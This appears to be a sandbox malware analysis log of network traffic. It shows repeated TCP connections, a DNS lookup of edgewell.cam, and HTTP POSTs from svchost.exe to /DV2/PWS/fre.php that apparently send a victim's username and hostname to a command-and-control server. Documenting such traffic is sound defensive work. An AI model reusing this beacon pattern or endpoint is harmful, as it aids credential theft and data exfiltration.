May 27, 2024 02:58:29.992609978 CEST	49812	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:29.992610931 CEST	49812	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:30.007694960 CEST	80	49812	104.21.85.101	192.168.2.5
May 27, 2024 02:58:30.007772923 CEST	49812	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:30.012598991 CEST	80	49812	104.21.85.101	192.168.2.5
May 27, 2024 02:58:30.159703016 CEST	49813	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:30.170361042 CEST	80	49813	104.21.85.101	192.168.2.5
May 27, 2024 02:58:30.170588970 CEST	49813	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:30.172585964 CEST	49813	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:30.181174040 CEST	80	49813	104.21.85.101	192.168.2.5
May 27, 2024 02:58:30.181250095 CEST	49813	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:30.190952063 CEST	80	49813	104.21.85.101	192.168.2.5
May 27, 2024 02:58:30.835333109 CEST	80	49813	104.21.85.101	192.168.2.5
May 27, 2024 02:58:30.836564064 CEST	49813	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:30.840212107 CEST	80	49813	104.21.85.101	192.168.2.5
May 27, 2024 02:58:30.840275049 CEST	49813	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:30.846476078 CEST	80	49813	104.21.85.101	192.168.2.5
May 27, 2024 02:58:31.004713058 CEST	49814	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:31.009857893 CEST	80	49814	104.21.85.101	192.168.2.5
May 27, 2024 02:58:31.009969950 CEST	49814	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:31.013040066 CEST	49814	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:31.060441017 CEST	80	49814	104.21.85.101	192.168.2.5
May 27, 2024 02:58:31.060694933 CEST	49814	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:31.065646887 CEST	80	49814	104.21.85.101	192.168.2.5
May 27, 2024 02:58:31.666645050 CEST	80	49814	104.21.85.101	192.168.2.5
May 27, 2024 02:58:31.666878939 CEST	49814	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:31.671412945 CEST	80	49814	104.21.85.101	192.168.2.5
May 27, 2024 02:58:31.671509027 CEST	49814	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:31.719475031 CEST	80	49814	104.21.85.101	192.168.2.5
May 27, 2024 02:58:33.702701092 CEST	49815	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:33.707798004 CEST	80	49815	104.21.85.101	192.168.2.5
May 27, 2024 02:58:33.707901955 CEST	49815	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:33.709939957 CEST	49815	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:33.767677069 CEST	80	49815	104.21.85.101	192.168.2.5
May 27, 2024 02:58:33.767760992 CEST	49815	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:33.775983095 CEST	80	49815	104.21.85.101	192.168.2.5
May 27, 2024 02:58:34.419543028 CEST	80	49815	104.21.85.101	192.168.2.5
May 27, 2024 02:58:34.419585943 CEST	80	49815	104.21.85.101	192.168.2.5
May 27, 2024 02:58:34.419614077 CEST	80	49815	104.21.85.101	192.168.2.5
May 27, 2024 02:58:34.419644117 CEST	49815	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:34.419692039 CEST	49815	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:34.419692039 CEST	49815	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:34.471379995 CEST	80	49815	104.21.85.101	192.168.2.5
May 27, 2024 02:58:34.595525026 CEST	49816	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:34.600656986 CEST	80	49816	104.21.85.101	192.168.2.5
May 27, 2024 02:58:34.600748062 CEST	49816	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:34.603701115 CEST	49816	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:34.652522087 CEST	80	49816	104.21.85.101	192.168.2.5
May 27, 2024 02:58:34.652604103 CEST	49816	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:34.657529116 CEST	80	49816	104.21.85.101	192.168.2.5
May 27, 2024 02:58:35.291377068 CEST	80	49816	104.21.85.101	192.168.2.5
May 27, 2024 02:58:35.291390896 CEST	80	49816	104.21.85.101	192.168.2.5
May 27, 2024 02:58:35.291398048 CEST	80	49816	104.21.85.101	192.168.2.5
May 27, 2024 02:58:35.291517973 CEST	49816	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:35.291609049 CEST	49816	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:35.348855019 CEST	80	49816	104.21.85.101	192.168.2.5
May 27, 2024 02:58:35.457710981 CEST	49817	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:35.483587027 CEST	80	49817	104.21.85.101	192.168.2.5
May 27, 2024 02:58:35.483681917 CEST	49817	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:35.485662937 CEST	49817	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:35.525257111 CEST	80	49817	104.21.85.101	192.168.2.5
May 27, 2024 02:58:35.525350094 CEST	49817	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:35.577752113 CEST	80	49817	104.21.85.101	192.168.2.5
May 27, 2024 02:58:36.158514977 CEST	80	49817	104.21.85.101	192.168.2.5
May 27, 2024 02:58:36.158967018 CEST	49817	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:36.163469076 CEST	80	49817	104.21.85.101	192.168.2.5
May 27, 2024 02:58:36.163588047 CEST	49817	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:36.212738991 CEST	80	49817	104.21.85.101	192.168.2.5
May 27, 2024 02:58:36.323508978 CEST	49818	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:36.333426952 CEST	80	49818	104.21.85.101	192.168.2.5
May 27, 2024 02:58:36.333499908 CEST	49818	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:36.335491896 CEST	49818	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:36.343085051 CEST	80	49818	104.21.85.101	192.168.2.5
May 27, 2024 02:58:36.343144894 CEST	49818	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:36.348128080 CEST	80	49818	104.21.85.101	192.168.2.5
May 27, 2024 02:58:37.038999081 CEST	80	49818	104.21.85.101	192.168.2.5
May 27, 2024 02:58:37.039057016 CEST	80	49818	104.21.85.101	192.168.2.5
May 27, 2024 02:58:37.039148092 CEST	49818	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:37.040606022 CEST	49818	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:37.049273968 CEST	80	49818	104.21.85.101	192.168.2.5
May 27, 2024 02:58:37.202152967 CEST	49819	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:37.208080053 CEST	80	49819	104.21.85.101	192.168.2.5
May 27, 2024 02:58:37.208169937 CEST	49819	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:37.210299015 CEST	49819	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:37.260487080 CEST	80	49819	104.21.85.101	192.168.2.5
May 27, 2024 02:58:37.260607958 CEST	49819	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:37.265738010 CEST	80	49819	104.21.85.101	192.168.2.5
May 27, 2024 02:58:37.875157118 CEST	80	49819	104.21.85.101	192.168.2.5
May 27, 2024 02:58:37.879981041 CEST	80	49819	104.21.85.101	192.168.2.5
May 27, 2024 02:58:37.880079031 CEST	49819	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:37.895136118 CEST	49819	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:37.932671070 CEST	80	49819	104.21.85.101	192.168.2.5
May 27, 2024 02:58:38.112019062 CEST	49820	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:38.130037069 CEST	80	49820	104.21.85.101	192.168.2.5
May 27, 2024 02:58:38.130109072 CEST	49820	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:38.132174015 CEST	49820	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:38.175890923 CEST	80	49820	104.21.85.101	192.168.2.5
May 27, 2024 02:58:38.175991058 CEST	49820	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:38.185589075 CEST	80	49820	104.21.85.101	192.168.2.5
May 27, 2024 02:58:38.820672989 CEST	80	49820	104.21.85.101	192.168.2.5
May 27, 2024 02:58:38.820801020 CEST	49820	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:38.867321968 CEST	80	49820	104.21.85.101	192.168.2.5
May 27, 2024 02:58:38.867383957 CEST	49820	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:38.872160912 CEST	80	49820	104.21.85.101	192.168.2.5
May 27, 2024 02:58:38.986418962 CEST	49821	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:38.991487026 CEST	80	49821	104.21.85.101	192.168.2.5
May 27, 2024 02:58:38.991573095 CEST	49821	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:38.993699074 CEST	49821	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:39.044617891 CEST	80	49821	104.21.85.101	192.168.2.5
May 27, 2024 02:58:39.044789076 CEST	49821	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:39.099453926 CEST	80	49821	104.21.85.101	192.168.2.5
May 27, 2024 02:58:39.695341110 CEST	80	49821	104.21.85.101	192.168.2.5
May 27, 2024 02:58:39.695358038 CEST	80	49821	104.21.85.101	192.168.2.5
May 27, 2024 02:58:39.695368052 CEST	80	49821	104.21.85.101	192.168.2.5
May 27, 2024 02:58:39.695436954 CEST	49821	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:39.695488930 CEST	49821	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:39.748497009 CEST	80	49821	104.21.85.101	192.168.2.5
May 27, 2024 02:58:39.844711065 CEST	49822	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:39.852327108 CEST	80	49822	104.21.85.101	192.168.2.5
May 27, 2024 02:58:39.852440119 CEST	49822	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:39.855397940 CEST	49822	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:39.914623022 CEST	80	49822	104.21.85.101	192.168.2.5
May 27, 2024 02:58:39.914705992 CEST	49822	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:39.934828997 CEST	80	49822	104.21.85.101	192.168.2.5
May 27, 2024 02:58:40.549830914 CEST	80	49822	104.21.85.101	192.168.2.5
May 27, 2024 02:58:40.550263882 CEST	49822	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:40.554476976 CEST	80	49822	104.21.85.101	192.168.2.5
May 27, 2024 02:58:40.554656982 CEST	49822	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:40.600392103 CEST	80	49822	104.21.85.101	192.168.2.5
May 27, 2024 02:58:40.720199108 CEST	49823	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:40.728365898 CEST	80	49823	104.21.85.101	192.168.2.5
May 27, 2024 02:58:40.728461981 CEST	49823	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:40.730674028 CEST	49823	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:40.780683041 CEST	80	49823	104.21.85.101	192.168.2.5
May 27, 2024 02:58:40.780827045 CEST	49823	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:40.785844088 CEST	80	49823	104.21.85.101	192.168.2.5
May 27, 2024 02:58:41.410542011 CEST	80	49823	104.21.85.101	192.168.2.5
May 27, 2024 02:58:41.410741091 CEST	49823	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:41.415319920 CEST	80	49823	104.21.85.101	192.168.2.5
May 27, 2024 02:58:41.415430069 CEST	49823	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:41.424937010 CEST	80	49823	104.21.85.101	192.168.2.5
May 27, 2024 02:58:41.560205936 CEST	49824	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:41.565223932 CEST	80	49824	104.21.85.101	192.168.2.5
May 27, 2024 02:58:41.565299988 CEST	49824	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:41.567295074 CEST	49824	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:41.616569996 CEST	80	49824	104.21.85.101	192.168.2.5
May 27, 2024 02:58:41.616677999 CEST	49824	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:41.621594906 CEST	80	49824	104.21.85.101	192.168.2.5
May 27, 2024 02:58:42.261049986 CEST	80	49824	104.21.85.101	192.168.2.5
May 27, 2024 02:58:42.261056900 CEST	80	49824	104.21.85.101	192.168.2.5
May 27, 2024 02:58:42.261145115 CEST	49824	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:42.261145115 CEST	49824	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:42.272593975 CEST	80	49824	104.21.85.101	192.168.2.5
May 27, 2024 02:58:42.420584917 CEST	49825	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:42.425522089 CEST	80	49825	104.21.85.101	192.168.2.5
May 27, 2024 02:58:42.425781965 CEST	49825	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:42.432686090 CEST	49825	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:42.445123911 CEST	80	49825	104.21.85.101	192.168.2.5
May 27, 2024 02:58:42.445364952 CEST	49825	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:42.495357990 CEST	80	49825	104.21.85.101	192.168.2.5
May 27, 2024 02:58:43.103023052 CEST	80	49825	104.21.85.101	192.168.2.5
May 27, 2024 02:58:43.103751898 CEST	49825	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:43.109174013 CEST	80	49825	104.21.85.101	192.168.2.5
May 27, 2024 02:58:43.109616041 CEST	49825	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:43.114068985 CEST	80	49825	104.21.85.101	192.168.2.5
May 27, 2024 02:58:43.245845079 CEST	49826	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:43.409599066 CEST	80	49826	104.21.85.101	192.168.2.5
May 27, 2024 02:58:43.409696102 CEST	49826	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:43.411668062 CEST	49826	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:43.766269922 CEST	80	49826	104.21.85.101	192.168.2.5
May 27, 2024 02:58:43.766479015 CEST	49826	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:43.919636965 CEST	80	49826	104.21.85.101	192.168.2.5
May 27, 2024 02:58:44.133662939 CEST	80	49826	104.21.85.101	192.168.2.5
May 27, 2024 02:58:44.133677959 CEST	80	49826	104.21.85.101	192.168.2.5
May 27, 2024 02:58:44.133763075 CEST	49826	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:44.133865118 CEST	49826	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:44.148757935 CEST	80	49826	104.21.85.101	192.168.2.5
May 27, 2024 02:58:44.291457891 CEST	49827	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:44.304550886 CEST	80	49827	104.21.85.101	192.168.2.5
May 27, 2024 02:58:44.304733992 CEST	49827	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:44.306693077 CEST	49827	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:44.356698990 CEST	80	49827	104.21.85.101	192.168.2.5
May 27, 2024 02:58:44.357331991 CEST	49827	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:44.365664959 CEST	80	49827	104.21.85.101	192.168.2.5
May 27, 2024 02:58:44.957022905 CEST	80	49827	104.21.85.101	192.168.2.5
May 27, 2024 02:58:44.957416058 CEST	49827	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:44.962284088 CEST	80	49827	104.21.85.101	192.168.2.5
May 27, 2024 02:58:44.962408066 CEST	49827	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:44.967236996 CEST	80	49827	104.21.85.101	192.168.2.5
May 27, 2024 02:58:45.111287117 CEST	49828	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:45.168595076 CEST	80	49828	104.21.85.101	192.168.2.5
May 27, 2024 02:58:45.168903112 CEST	49828	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:45.171221018 CEST	49828	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:45.225033998 CEST	80	49828	104.21.85.101	192.168.2.5
May 27, 2024 02:58:45.225220919 CEST	49828	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:45.245867014 CEST	80	49828	104.21.85.101	192.168.2.5
May 27, 2024 02:58:45.849267006 CEST	80	49828	104.21.85.101	192.168.2.5
May 27, 2024 02:58:45.849281073 CEST	80	49828	104.21.85.101	192.168.2.5
May 27, 2024 02:58:45.849375963 CEST	49828	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:45.849463940 CEST	49828	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:45.889781952 CEST	80	49828	104.21.85.101	192.168.2.5
May 27, 2024 02:58:45.996154070 CEST	49829	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:46.004050970 CEST	80	49829	104.21.85.101	192.168.2.5
May 27, 2024 02:58:46.004964113 CEST	49829	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:46.007126093 CEST	49829	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:46.056502104 CEST	80	49829	104.21.85.101	192.168.2.5
May 27, 2024 02:58:46.060276985 CEST	49829	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:46.097276926 CEST	80	49829	104.21.85.101	192.168.2.5
May 27, 2024 02:58:46.703253031 CEST	80	49829	104.21.85.101	192.168.2.5
May 27, 2024 02:58:46.703263998 CEST	80	49829	104.21.85.101	192.168.2.5
May 27, 2024 02:58:46.703341961 CEST	49829	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:46.703408957 CEST	49829	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:46.708029032 CEST	80	49829	104.21.85.101	192.168.2.5
May 27, 2024 02:58:46.708302975 CEST	49829	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:46.719625950 CEST	80	49829	104.21.85.101	192.168.2.5
May 27, 2024 02:58:46.951128006 CEST	49830	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:46.997658968 CEST	80	49830	104.21.85.101	192.168.2.5
May 27, 2024 02:58:46.997891903 CEST	49830	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:47.000037909 CEST	49830	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:47.020993948 CEST	80	49830	104.21.85.101	192.168.2.5
May 27, 2024 02:58:47.021167994 CEST	49830	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:47.032406092 CEST	80	49830	104.21.85.101	192.168.2.5
May 27, 2024 02:58:47.723396063 CEST	80	49830	104.21.85.101	192.168.2.5
May 27, 2024 02:58:47.723418951 CEST	80	49830	104.21.85.101	192.168.2.5
May 27, 2024 02:58:47.723495960 CEST	49830	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:47.723546982 CEST	49830	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:47.755316973 CEST	80	49830	104.21.85.101	192.168.2.5
May 27, 2024 02:58:47.883685112 CEST	49831	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:47.921360016 CEST	80	49831	104.21.85.101	192.168.2.5
May 27, 2024 02:58:47.921453953 CEST	49831	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:47.923427105 CEST	49831	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:47.954193115 CEST	80	49831	104.21.85.101	192.168.2.5
May 27, 2024 02:58:47.954287052 CEST	49831	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:47.966826916 CEST	80	49831	104.21.85.101	192.168.2.5
May 27, 2024 02:58:48.635387897 CEST	80	49831	104.21.85.101	192.168.2.5
May 27, 2024 02:58:48.635399103 CEST	80	49831	104.21.85.101	192.168.2.5
May 27, 2024 02:58:48.636920929 CEST	49831	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:48.636920929 CEST	49831	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:48.656078100 CEST	80	49831	104.21.85.101	192.168.2.5
May 27, 2024 02:58:48.812705040 CEST	49832	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:48.818309069 CEST	80	49832	104.21.85.101	192.168.2.5
May 27, 2024 02:58:48.818378925 CEST	49832	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:48.820321083 CEST	49832	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:48.875577927 CEST	80	49832	104.21.85.101	192.168.2.5
May 27, 2024 02:58:48.875657082 CEST	49832	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:48.890387058 CEST	80	49832	104.21.85.101	192.168.2.5
May 27, 2024 02:58:49.607772112 CEST	80	49832	104.21.85.101	192.168.2.5
May 27, 2024 02:58:49.607908010 CEST	49832	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:49.612519026 CEST	80	49832	104.21.85.101	192.168.2.5
May 27, 2024 02:58:49.612615108 CEST	49832	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:49.617386103 CEST	80	49832	104.21.85.101	192.168.2.5
May 27, 2024 02:58:51.044157982 CEST	49833	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:51.057923079 CEST	80	49833	104.21.85.101	192.168.2.5
May 27, 2024 02:58:51.058002949 CEST	49833	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:51.174320936 CEST	49833	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:51.185900927 CEST	80	49833	104.21.85.101	192.168.2.5
May 27, 2024 02:58:51.185956001 CEST	49833	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:51.192835093 CEST	80	49833	104.21.85.101	192.168.2.5
May 27, 2024 02:58:51.779365063 CEST	80	49833	104.21.85.101	192.168.2.5
May 27, 2024 02:58:51.779371977 CEST	80	49833	104.21.85.101	192.168.2.5
May 27, 2024 02:58:51.779495955 CEST	49833	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:51.779496908 CEST	49833	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:51.791702986 CEST	80	49833	104.21.85.101	192.168.2.5
May 27, 2024 02:58:51.791774988 CEST	49833	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:51.796447039 CEST	80	49833	104.21.85.101	192.168.2.5
May 27, 2024 02:58:51.959186077 CEST	49834	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:51.975063086 CEST	80	49834	104.21.85.101	192.168.2.5
May 27, 2024 02:58:51.975178003 CEST	49834	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:51.977503061 CEST	49834	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:51.989427090 CEST	80	49834	104.21.85.101	192.168.2.5
May 27, 2024 02:58:51.989470959 CEST	49834	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:51.995167971 CEST	80	49834	104.21.85.101	192.168.2.5
May 27, 2024 02:58:52.671401978 CEST	80	49834	104.21.85.101	192.168.2.5
May 27, 2024 02:58:52.671509981 CEST	80	49834	104.21.85.101	192.168.2.5
May 27, 2024 02:58:52.671577930 CEST	49834	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:52.671577930 CEST	49834	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:52.676124096 CEST	80	49834	104.21.85.101	192.168.2.5
May 27, 2024 02:58:52.676178932 CEST	49834	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:52.724303961 CEST	80	49834	104.21.85.101	192.168.2.5
May 27, 2024 02:58:52.862560034 CEST	49835	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:52.870969057 CEST	80	49835	104.21.85.101	192.168.2.5
May 27, 2024 02:58:52.871069908 CEST	49835	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:52.872776031 CEST	49835	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:52.885047913 CEST	80	49835	104.21.85.101	192.168.2.5
May 27, 2024 02:58:52.885123014 CEST	49835	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:52.896502972 CEST	80	49835	104.21.85.101	192.168.2.5
May 27, 2024 02:58:53.585647106 CEST	80	49835	104.21.85.101	192.168.2.5
May 27, 2024 02:58:53.588198900 CEST	49835	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:53.590540886 CEST	80	49835	104.21.85.101	192.168.2.5
May 27, 2024 02:58:53.590677977 CEST	49835	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:53.639494896 CEST	80	49835	104.21.85.101	192.168.2.5
May 27, 2024 02:58:53.735918999 CEST	49836	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:53.741640091 CEST	80	49836	104.21.85.101	192.168.2.5
May 27, 2024 02:58:53.744445086 CEST	49836	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:53.747051001 CEST	49836	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:53.800399065 CEST	80	49836	104.21.85.101	192.168.2.5
May 27, 2024 02:58:53.804162979 CEST	49836	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:53.809103966 CEST	80	49836	104.21.85.101	192.168.2.5
May 27, 2024 02:58:54.423554897 CEST	80	49836	104.21.85.101	192.168.2.5
May 27, 2024 02:58:54.423602104 CEST	80	49836	104.21.85.101	192.168.2.5
May 27, 2024 02:58:54.423747063 CEST	49836	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:54.423747063 CEST	49836	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:54.480426073 CEST	80	49836	104.21.85.101	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 27, 2024 02:56:52.295789003 CEST	58214	53	192.168.2.5	1.1.1.1
May 27, 2024 02:56:52.308161020 CEST	53	58214	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 27, 2024 02:56:52.295789003 CEST	192.168.2.5	1.1.1.1	0xd9ff	Standard query (0)	edgewell.cam	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 27, 2024 02:56:52.308161020 CEST	1.1.1.1	192.168.2.5	0xd9ff	No error (0)	edgewell.cam		104.21.85.101	A (IP address)	IN (0x0001)	false
May 27, 2024 02:56:52.308161020 CEST	1.1.1.1	192.168.2.5	0xd9ff	No error (0)	edgewell.cam		172.67.204.114	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

edgewell.cam

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:56:52.319654942 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 180 Connection: close
May 27, 2024 02:56:52.368702888 CEST	180	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: 'ckav.rualfons347688ALFONS-PCk0FDD42EE188E931437F4FBE2Ciccq5
May 27, 2024 02:56:53.089746952 CEST	583	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:56:53 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s3cNfL2WgWg4pzCSSzwXD1D3NflpyPgpNS3uzoO2Z5y65lkvjUyXGhy3S5vgO4I6sudMzLt8UxOtV1KGX1IOAqPO1AXkGrSpXQj0%2F99wXY2Z0qnGGi56XevVUyeu6JM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20c322b4fc327-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:56:53.233272076 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 180 Connection: close
